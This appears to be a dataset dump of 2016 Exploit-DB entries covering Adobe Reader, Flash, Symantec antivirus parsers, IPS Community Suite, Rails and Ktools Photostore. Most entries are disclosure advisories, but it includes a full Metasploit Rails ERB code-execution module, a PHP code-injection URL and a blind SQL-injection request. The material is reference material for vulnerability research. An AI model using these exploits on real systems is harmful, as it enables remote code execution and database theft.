QLWD/code_shield huggingface dataset:
标题: Adobe Acrobat Reader DC 15.016.20045 - Invalid Font '.ttf' Memory Corruption (4) EDB-ID: 40098 CVE: 2016-4208 类型: DOS 平台: MULTIPLE 发布日期: 2016-07-13 漏洞利用脚本: #####################################################################################

# Application: Adobe Acrobat Reader DC
# Platforms: Windows,OSX
# Versions: 15.016.20045 and earlier
# Author: Sébastien Morin of COSIG
# Website: https://cosig.gouv.qc.ca/en/advisory/
# Twitter: @COSIG_
# Date: July 12, 2016
# CVE: CVE-2016-4208
# COSIG-2016-27

#####################################################################################

1) Introduction
2) Report Timeline
3) Technical details
4) POC

#####################################################################################

================
1) Introduction
================
Adobe Acrobat is a family of application software and Web services developed by Adobe Systems to view, create, manipulate, print and manage files in Portable Document Format (PDF).

(https://en.wikipedia.org/wiki/Adobe_Acrobat)

#####################################################################################

====================
2) Report Timeline
====================
2016-05-18: Sébastien Morin of COSIG report this vulnerability to Adobe PSIRT;
2016-06-08: Adobe PSIRT confirm this vulnerability;
2016-07-12: Adobe fixed the issue (APSB16-26);
2016-07-12: Advisory released by COSIG;

#####################################################################################

=====================
3) Technical details
=====================
The vulnerability allows a remote attacker to execute malicious code or access to part of dynamically allocated memory using a user interaction
that opens a specially crafted PDF file containing an invalid font (.ttf ) including invalid data.

#####################################################################################

===========
4) POC
===========

https://cosig.gouv.qc.ca/wp-content/uploads/2016/07/COSIG-2016-27.pdf
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40098.zip

#################################################################################### URL: https://www.exploit-db.com/exploits/40098
标题: Adobe Acrobat Reader DC 15.016.20045 - Invalid Font '.ttf' Memory Corruption (3) EDB-ID: 40097 CVE: 2016-4203 类型: DOS 平台: MULTIPLE 发布日期: 2016-07-13 漏洞利用脚本: #####################################################################################

# Application: Adobe Acrobat Reader DC
# Platforms: Windows,OSX
# Versions: 15.016.20045 and earlier
# Author: Sébastien Morin of COSIG
# Website: https://cosig.gouv.qc.ca/en/advisory/
# Twitter: @COSIG_
# Date: July 12, 2016
# CVE: CVE-2016-4203
# COSIG-2016-28

#####################################################################################

1) Introduction
2) Report Timeline
3) Technical details
4) POC

#####################################################################################

================
1) Introduction
================
Adobe Acrobat is a family of application software and Web services developed by Adobe Systems to view, create, manipulate, print and manage files in Portable Document Format (PDF).

(https://en.wikipedia.org/wiki/Adobe_Acrobat)

#####################################################################################

====================
2) Report Timeline
====================
2016-05-18: Sébastien Morin of COSIG report this vulnerability to Adobe PSIRT;
2016-06-08: Adobe PSIRT confirm this vulnerability;
2016-07-12: Adobe fixed the issue (APSB16-26);
2016-07-12: Advisory released by COSIG;

#####################################################################################

=====================
3) Technical details
=====================
The vulnerability allows a remote attacker to execute malicious code or access to part of dynamically allocated memory using a user interaction
that opens a specially crafted PDF file containing an invalid font (.ttf ) including invalid data.

#####################################################################################

===========
4) POC
===========

https://cosig.gouv.qc.ca/wp-content/uploads/2016/07/COSIG-2016-28.pdf
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40097.zip

#################################################################################### URL: https://www.exploit-db.com/exploits/40097
标题: Adobe Flash - ATF Processing Overflow EDB-ID: 40087 CVE: 2016-4135 类型: DOS 平台: MULTIPLE 发布日期: 2016-07-11 漏洞利用脚本: Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=786

The attached ATF file causes a heap overflow in ATF processing. To reproduce this issue, put LoadImage.swf and test.png on a remote server, and visit http://127.0.0.1/LoadImage.swf?img=test.png.

To differentiate this from other ATF issues, this is an overflow in decompressing alphas when an image has a height of 1 pixel. 


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40087.zip URL: https://www.exploit-db.com/exploits/40087
标题: IPS Community Suite 4.1.12.3 - PHP Code Injection EDB-ID: 40084 CVE: 2016-6174 类型: WEBAPPS 平台: PHP 发布日期: 2016-07-11 漏洞利用脚本: ---------------------------------------------------------------------------
IPS Community Suite <= 4.1.12.3 Autoloaded PHP Code Injection Vulnerability
---------------------------------------------------------------------------


[-] Software Link:

https://invisionpower.com/


[-] Affected Versions:

Version 4.1.12.3 and prior versions.


[-] Vulnerability Description:

The vulnerable code is located in the /applications/core/modules/front/system/content.php script:

38. $class = 'IPS\\' . implode( '\\', explode( '_', \IPS\Request::i()->content_class ) );
39. 
40. if ( ! class_exists( $class ) or ! in_array( 'IPS\Content', class_parents( $class ) ) )
41. {
42.     \IPS\Output::i()->error( 'node_error', '2S226/2', 404, '' );
43. }

User input passed through the "content_class" request parameter is not properly sanitized before being used in a call
to the "class_exists()" function at line 40. This could be exploited by unauthenticated attackers to inject and execute
arbitrary PHP code leveraging the autoloading function defined into the /applications/cms/Application.php script:

171. if ( mb_substr( $class, 0, 14 ) === 'IPS\cms\Fields' and is_numeric( mb_substr( $class, 14, 1 ) ) )
172. {
173.     $databaseId = mb_substr( $class, 14 );
174.     eval( "namespace IPS\\cms; class Fields{$databaseId} extends Fields { public static \$customDatabaseId [...]
175. }

Successful exploitation of this vulnerability requires the application running on PHP before version 5.4.24 or 5.5.8.


[-] Proof of Concept:

http://[host]/[ips]/index.php?app=core&module=system&controller=content&do=find&content_class=cms\Fields1{}phpinfo();/*


[-] Solution:

Update to version 4.1.13 or later.


[-] Disclosure Timeline:

[04/07/2016] - Vendor notified
[05/07/2016] - Vulnerability fixed in version 4.1.13: https://invisionpower.com/release-notes/4113-r44/
[06/07/2016] - CVE number requested
[06/07/2016] - CVE number assigned
[07/07/2016] - Public disclosure


[-] CVE Reference:

The Common Vulnerabilities and Exposures project (cve.mitre.org)
has assigned the name CVE-2016-6174 to this vulnerability.


[-] Credits:

Vulnerability discovered by Egidio Romano.


[-] Original Advisory:

http://karmainsecurity.com/KIS-2016-11 URL: https://www.exploit-db.com/exploits/40084
标题: Ruby on Rails ActionPack Inline ERB - Code Execution (Metasploit) EDB-ID: 40086 CVE: 2016-2098 类型: REMOTE 平台: RUBY 发布日期: 2016-07-11 漏洞利用脚本: ##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Ruby on Rails ActionPack Inline ERB Code Execution',
      'Description'    => %q{
          This module exploits a remote code execution vulnerability in the
        inline request processor of the Ruby on Rails ActionPack component.
        This vulnerability allows an attacker to process ERB to the inline
        JSON processor, which is then rendered, permitting full RCE within
        the runtime, without logging an error condition.
      },
      'Author'         =>
        [
          'RageLtMan <rageltman[at]sempervictus>'
        ],
      'License'        => MSF_LICENSE,
      'References'  =>
        [
          [ 'CVE', '2016-2098' ]
        ],
      'Platform'       => 'ruby',
      'Arch'           => ARCH_RUBY,
      'Privileged'     => false,
      'Targets'        => [ ['Automatic', {} ] ],
      'DisclosureDate' => 'Mar 1 2016',
      'DefaultOptions' => {
        "PrependFork" => true
      },
      'DefaultTarget' => 0))

    register_options(
      [
        Opt::RPORT(80),
        OptString.new('TARGETURI', [ true, 'The path to a vulnerable Ruby on Rails application', "/"]),
        OptString.new('TARGETPARAM', [ true, 'The target parameter to inject with inline code', 'id'])
      ], self.class)

  end

  def json_request
    code = Rex::Text.encode_base64(payload.encoded)
    return {
      datastore['TARGETPARAM'] => {"inline" => "<%= eval(%[#{code}].unpack(%[m0])[0]) %>"}
    }.to_json
  end

  def exploit
    print_status("Sending inline code to parameter: #{datastore['TARGETPARAM']}")
    send_request_cgi({
      'uri'     => normalize_uri(target_uri.path),
      'method'  => 'GET',
      'ctype'   => 'application/json',
      'headers' => {
        'Accept' => 'application/json'
      },
      'data'    => json_request
    }, 25)
  end
end URL: https://www.exploit-db.com/exploits/40086
标题: Ktools Photostore 4.7.5 - Blind SQL Injection EDB-ID: 40046 CVE: 2016-4337 类型: WEBAPPS 平台: PHP 发布日期: 2016-06-30 漏洞利用脚本: Title       : Ktools Photostore <= 4.7.5 (Pre-Authentication) Blind SQL Injection
CVE-ID      : CVE-2016-4337
Google Dork: inurl:mgr.login.php
Product     : Photostore
Affected    : Versions prior to 4.7.5
Impact      : Critical
Remote      : Yes
Website link: http://www.ktools.net
Reported    : 02/06/2016
Authors     : Gal Goldshtein and Viktor Minin
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
No authentication (login) is required to exploit this vulnerability.
The Photostore application password recovery module is prone to a blind sql injection attack.
An attacker can exploit this vulnerability to retrieve all the data stored in the application's database.


Vulnerable code is located in the mgr.login.php file:

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
case 'recover_login': {
                                                mysqli_query( $db, '' . 'SELECT username,password,email,admin_id FROM ' . $dbinfo[pre] . 'admins where email = \'' . $_POST['email'] . '\'' );
                                                $result = ;
                                                mysqli_num_rows( $result );
                                                $returned_rows = ;
                                                mysqli_fetch_array( $result );
                                                $db_admin_user = ;
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

PoC:
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
POST /photostore/manager/mgr.login.php?pmode=recover_login HTTP/1.1
Host: victim.net
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://server/photostore/manager/mgr.login.php?username=demo&password=demo
Cookie: member[umem_id]=58C05864CA6A59DBGHJSKDHGDGS770D5; PHPSESSID=30afayreighgfdgucb0d2b0c6dece3158
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 9

email=%27%20[SQL PAYLOAD];#
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= URL: https://www.exploit-db.com/exploits/40046
标题: Symantec AntiVirus - TNEF Decoder Integer Overflow EDB-ID: 40035 CVE: 2016-3645 类型: DOS 平台: MULTIPLE 发布日期: 2016-06-29 漏洞利用脚本: Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=819

Simple fuzzing found an integer overflow in the dec2tnef library. This allocation from Attachment::setDataFromAttachment() doesn't verify that the attacker controlled value doesn't wrap:

.text:000227B8 8D 42 01                       lea     eax, [edx+1]
.text:000227BB 89 85 68 FF FF+                mov     [ebp+var_98], eax
.text:000227C1 8B 83 CC FF FF+                mov     eax, ds:(_ZSt7nothrow_ptr - 42CFCh)[ebx]
.text:000227C7 89 44 24 04                    mov     [esp+4], eax
.text:000227CB 8B 85 68 FF FF+                mov     eax, [ebp+var_98]
.text:000227D1 C1 E0 02                       shl     eax, 2
.text:000227D4 89 04 24                       mov     [esp], eax
.text:000227D7 89 95 5C FF FF+                mov     [ebp+src], edx
.text:000227DD 89 8D 58 FF FF+                mov     [ebp+var_A8], ecx
.text:000227E3 E8 54 22 FE FF                 call    __ZnajRKSt9nothrow_t ; operator new[](uint,std::nothrow_t const&)

That's (count + 1) * 4, without any checking that will succeed. The attached testcase reaches this code on Symantec Scan Engine, I'm not sure which other products use this code.

(gdb) bt
#1  0x07e88816 in Attachment::setDataFromAttachment(Item&) () from definitions/Decomposer/libdec2tnef.so
#2  0x07e88abc in Attachment::setAttribute(Item&) () from definitions/Decomposer/libdec2tnef.so
#3  0x07e8a1b4 in TNEFObject::getAttachments(_IO_FILE*, MList&) () from definitions/Decomposer/libdec2tnef.so
#4  0x07e6c1d6 in CTNEFArchive::Open(char const*) () from definitions/Decomposer/libdec2tnef.so
#5  0x07e6ae5f in CTNEFEngine::OpenArchive(CTNEFArchive*, bool*) () from definitions/Decomposer/libdec2tnef.so
#6  0x07e6b8c0 in CTNEFEngine::Process(IDecomposerEx*, IDecContainerObjectEx*, IDecEventSink*, unsigned short*, char*, bool*, bool*) () from definitions/Decomposer/libdec2tnef.so
#7  0x063d07b5 in CDecomposer::DecProcess(IDecObject*, IDecEventSink*, IDecIOCB*, unsigned short*, char*) () 
#8  0x063d13cb in CDecomposer::Process(IDecObject*, IDecEventSink*, IDecIOCB*, unsigned short*, char*) ()


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40035.zip URL: https://www.exploit-db.com/exploits/40035
标题: Symantec AntiVirus - Missing Bounds Checks in dec2zip ALPkOldFormatDecompressor::UnShrink EDB-ID: 40036 CVE: 2016-3646 类型: DOS 平台: MULTIPLE 发布日期: 2016-06-29 漏洞利用脚本: Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=821

A major component of the Symantec Antivirus scan engine is the "Decomposer", responsible for unpacking various archive formats such as ZIP, RAR, and so on. The decomposer runs as NT AUTHORITY\SYSTEM on Windows, and root on Linux and Mac. Simple fuzzing of zip archives discovered missing bounds checks in the routine ALPkOldFormatDecompressor::UnShrink, used to decode Zip archives. 

The routine uses a 16bit value read from the file to index a 256 element array without any bounds checking, the attached testcase should demonstrate this reliably. I have verified this on the following products:

    Norton Antivirus, Windows
    Symantec Endpoint Protection, Linux and Windows
    Symantec Scan Engine, Linux and Windows


(534.700): Access violation - code c0000005 (!!! second chance !!!)
eax=00003000 ebx=00003000 ecx=00003000 edx=00002000 esi=16adeb58 edi=16ad8b1b
eip=6ba47ec3 esp=16ad6af0 ebp=16adeb20 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
ccScanw!filelengthi64+0x3af63:
6ba47ec3 66399445fcbfffff cmp     word ptr [ebp+eax*2-4004h],dx ss:002b:16ae0b1c=????
0:071> ub
ccScanw!filelengthi64+0x3af3f:
6ba47e9f 8bb5ec7fffff    mov     esi,dword ptr [ebp-8014h]
6ba47ea5 8bc7            mov     eax,edi
6ba47ea7 8985e07fffff    mov     dword ptr [ebp-8020h],eax
6ba47ead e96d010000      jmp     ccScanw!filelengthi64+0x3b0bf (6ba4801f)
6ba47eb2 0fbfc3          movsx   eax,bx
6ba47eb5 ba00200000      mov     edx,2000h
6ba47eba 8dbdfb9fffff    lea     edi,[ebp-6005h]
6ba47ec0 0fb7cb          movzx   ecx,bx
0:071> lmv m ccScanw
start    end        module name
6b930000 6bb5f000   ccScanw    (export symbols)       C:\Program Files (x86)\Norton Security\Engine\22.6.0.142\ccScanw.dll
    Loaded symbol image file: C:\Program Files (x86)\Norton Security\Engine\22.6.0.142\ccScanw.dll
    Image path: C:\Program Files (x86)\Norton Security\Engine\22.6.0.142\ccScanw.dll
    Image name: ccScanw.dll
    Timestamp:        Tue Jan 26 13:51:55 2016 (56A7EA7B)
    CheckSum:         0022B3ED
    ImageSize:        0022F000
    File version:     13.1.2.19
    Product version:  13.1.2.19
    File flags:       0 (Mask 3F)
    File OS:          40004 NT Win32
    File type:        1.0 App
    File date:        00000000.00000000
    Translations:     0409.04b0
    CompanyName:      Symantec Corporation
    ProductName:      Symantec Security Technologies
    InternalName:     ccScan
    OriginalFilename: CCSCAN.DLL
    ProductVersion:   13.1.2.19
    FileVersion:      13.1.2.19
    FileDescription:  Symantec Scan Engine
    LegalCopyright:   Copyright (c) 2015 Symantec Corporation. All rights reserved.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40036.zip URL: https://www.exploit-db.com/exploits/40036
标题: Symantec AntiVirus - Heap Overflow Modifying MIME Messages EDB-ID: 40034 CVE: 2016-3644 类型: DOS 平台: MULTIPLE 发布日期: 2016-06-29 漏洞利用脚本: Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=818

Symantec attempts to clean or remove components from archives or other multipart containers that they detect as malicious. The code that they use to remove components from MIME encoded messages in CMIMEParser::UpdateHeader() assumes that filenames cannot be longer than 77 characters.

This assumption is obviously incorrect, names can be any length, resulting in a very clean heap overflow.

The heap overflow occurs because Symantec does the cleaning in multiple stages, first changing the Content-Type to "text/plain", then changing the filename to "DELETED.TXT". The problem is that during the first stage of this process, they maintain the existing name but use a buffer prepared for the final name.

Something like:

char *buf = malloc(strlen(NewContentType) + strlen(LengthOfNewEncodedFilename) + 100)

// First change the content-type
strcpy(buf, "Content-Type: ");
strcpy(buf, NewContentType;
strcpy(buf, "; name=\"");
strcpy(buf, OldFileName);

...
UpdateName(buf, NewFileName);
...

This obviously won't work, because it doesn't verify that the old name will fit. I've attached an example MIME message that triggers this code in Symantec Scan Engine.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40034.zip URL: https://www.exploit-db.com/exploits/40034
标题: Symantec AntiVirus - 'dec2lha Library' Remote Stack Buffer Overflow (PoC) EDB-ID: 40032 CVE: 2016-2210 类型: DOS 平台: MULTIPLE 发布日期: 2016-06-29 漏洞利用脚本: Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=814

The dec2lha library is the library responsible for decompressing LZH and LHA archives. The CSymLHA::get_header() routine has a trivial stack buffer overflow.

.text:00023D91 31 C0                          xor     eax, eax
...
.text:00023DAE 8D 95 E4 FB FF+                lea     edx, [ebp+var_41C]
.text:00023DB4 89 D7                          mov     edi, edx
.text:00023DC7 66 B9 00 01                    mov     cx, 100h
.text:00023DCB F3 AB                          rep stosd

We can see from this initialization that var_141C is a 1024 byte stack buffer, because 0x100 * sizeof(dword) = 1024. But later on in this routine:

.text:0002442C 88 0C 10                       mov     [eax+edx], cl ; eax = &var_41C edx=index
.text:0002442F 83 C2 01                       add     edx, 1 ; edx++
...
.text:00024408 81 FA 00 10 00+                cmp     edx, 1000h ; if (index > 4096) ...
.text:0002440E 0F 84 E9 02 00+                jz      loc_246FD ; oob

The index is checked to see if it's > 4096 bytes, this is incorrect. This is most likely a simple programmers error, bounds checking with the wrong size.

This code is typically run with SYSTEM/root privileges, I'm using Symantec Scan Engine on Linux to reproduce this issue, but all platforms and products using this code (e.g. Symantec Mail Security) are likely affected.

#0  0xf5606d95 in CSymLHA::get_header(SymLHA::_S_LzHeader*) () from libdec2lha.so
#1  0xf5607af4 in CSymLHA::GetEntry(SymLHA::_S_LzHeader*) () from libdec2lha.so
#2  0xf55e83d5 in CLHAEngine::ProcessChildren(IDecomposerEx*, IDecContainerObjectEx*, IDecEventSink*, unsigned short*, char*, CSymLHA*) () from libdec2lha.so
#3  0xf55e8a8f in CLHAEngine::Process(IDecomposerEx*, IDecContainerObjectEx*, IDecEventSink*, unsigned short*, char*, bool*, bool*) () from libdec2lha.so
#4  0xf5c137b5 in CDecomposer::DecProcess(IDecObject*, IDecEventSink*, IDecIOCB*, unsigned short*, char*) () 
#5  0xf5c143cb in CDecomposer::Process(IDecObject*, IDecEventSink*, IDecIOCB*, unsigned short*, char*) ()
(gdb) c
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

Because Symantec do not use -fstack-protector on Linux, exploitation is remarkably trivial. Exploitation is likely still possible on Windows, but may be more difficult as they do use /GS on that platform.

This issue is remotely exploitable just by receiving an email, visiting a website, and so on.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40032.zip URL: https://www.exploit-db.com/exploits/40032